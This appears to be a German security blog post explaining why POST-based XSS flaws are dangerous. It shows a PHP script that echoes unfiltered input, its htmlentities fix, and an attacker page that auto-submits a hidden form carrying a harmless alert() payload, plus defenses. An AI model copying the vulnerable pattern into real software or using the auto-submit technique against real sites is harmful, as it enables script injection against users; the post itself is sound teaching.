Warum auch Post-XSS gefährlich sind

In letzter Zeit bin ich auf einige Post XSS Lücken gestoßen und man möchte zunächst glauben diese seien ungefährlich. Doch das Gegenteil ist der Fall.

Das Problem

Häufig findet man Cross Site Scripting (XSS) Lücken auf verschiedenen Seiten. Oft befinden sich diese in Sucheingaben, oder Formularen - demnach in POST-Parametern. Um ein Formular mit einem manipulierten Inhalt zu verschicken, um den Angriff auszuführen, müsse man das Opfer dazu bringen, diesen Inhalt in das Formular einzugeben und abzuschicken. Nun möchte man sich fragen, welcher Benutzer so naiv ist, um eine offentlich kryptisch bzw. komisch aussehende, aus einer fraglichen Quelle erhaltende Eingabe in ein Formular einzugeben und den Angriff zu starten. Deswegen wird diese Art der XSS Angriffe eher als unkritisch angesehen. Doch dem ist nicht so.

Der Bypass

Um den Schritt der Benutzereingabe zu umgehen, bedient man sich einem einfachen, aber kreativen Trick: Man baut das Formular nach und schickt die Daten beim Aufruf der Seite entsprechend ab. Wenn der Benutzer auf die Seite gelangt und Javascript aktiviert hat, dann ist es möglich über einen Einzeiler in Javascript ein nicht sichtbares Formular abzuschicken, welches den XSS-Exploit bereits als value-Attribut enthält.

Dazu möchte ich ein Code-Beispiel bringen.

Zunächst das verwundbare Suchscript:

<html>
  <head>
      <title>Post XSS Vuln</title>
  </head>
  <body>
      <?php
      if(isset($_POST['search'])) {
          echo $_POST['search'];
      }
      ?>
  </body>
</html>

Wie man sieht wird zunächst geprüft, ob im superglobalen Array $_POST der Index ‘search’ belegt ist, um dessen Wert daraufhin auszugeben. Dabei wird die übergebene Date nicht gefiltert, sodass eine XSS Angriffmöglichkeit entsteht. Den Sourcecode könnte man mit der Änderung der folgende Zeile sicher machen:

echo htmlentities($_POST['search']);

Nun zur eigentlichen spannenden Datei, welche den eigentlichen Trick enthält:

<html>
  <head>
      <title>Eploitme</title>
      <style type="text/css">
          #nodisplay {
              display:none;
          }
      </style>
  </head>
  <body>
      <div id="nodsiplay">
      <form action="vuln.php" method="post">
          <input type="text" name="search" value="<script>alert('POST XSS')</script>"/> 
      </form>
      </div>
      <script>
          function submitForm() {
              document.forms[0].submit();
          }
          submitForm();
      </script>
  </body>
</html>

Dies ist zunächst eine ganz normale und einfach HTML-Seite. Ich teile diese in 3 Abschnitte, welche ich nacheinander erklären werde.

Abschnitt 1: Style-Sheet

Das Stylesheet findet man im head-Tag als style…/style wieder, welches nur dazu dient, dass Div-Element mit der ID #nodisplay unsichtbar zu machen, damit der Benutzer auf der Seite nichts zu sehen bekommt.

Abschnitt 2: Formular

Das div-Element und das Formular im body der Seite. Das Div-Element umgibt das Formular, um es unsichtbar zu machen. Das Formular nutzt die Method “Post”, um die Daten via HTTP-Post-Request an das Ziel “vuln.php” schickt, welches das obere, verwundbare Script darstellt. Das Formular beinhaltet nur ein Kindelement, welches das XSS-Exploit enthält. In dem Fall einfach eine Hinwesmeldung mit dem Inhalt “POST XSS”, die dann auf der verwundbaren Seite ausgeführt wird. Wichtig ist, dass die Forum kein Input-Kindelement vom Typ “submit” enthält, denn damit funktioniert das Abschicken der Daten nicht.

Abschnitt 3: Script

Zuletzt folgt das eigentliche Script-tag, welches das Formular abschickt. Dazu nutzt es die Funktion “submit()”, was eben ein Formular abschickt. Diese Zeile Code habe ich in eine Funktion eingepackt, welche beim Fertigladen der Seite ausgeführt wird.

Schutz & Fazit

Man kann sich gegen solche “Weiterleitungen” schützen, in dem man Javascript standardmäßig, z.B. über das Plugin NoScript, deaktiviert und nur bei Bedarf bestimmte Scripte ausführt. Zudem greift ein solches Angriffsszenario auch nur, wenn die verwundbare Seite keine Tokens, oder weitere Prüfungen zur Validität der Datenübertragung nutzt.

Zum Schluss kann man demnach sagen, dass Post-XSS-Lücken nicht ungefährlicher als gewöhnliche GET-XSS-Lücken sind. Man benötigt nur eine Weiterleitung mehr. Interessant wäre eine Kombination aus GET und POST-XSS, wobei über erstere das Formular erzeugt und an die zweite XSS abgeschickt wird.

Gruß

gehaxelt

Gehaxelts Blog

IT-Security & Hacking

Das Problem

Der Bypass

Schutz & Fazit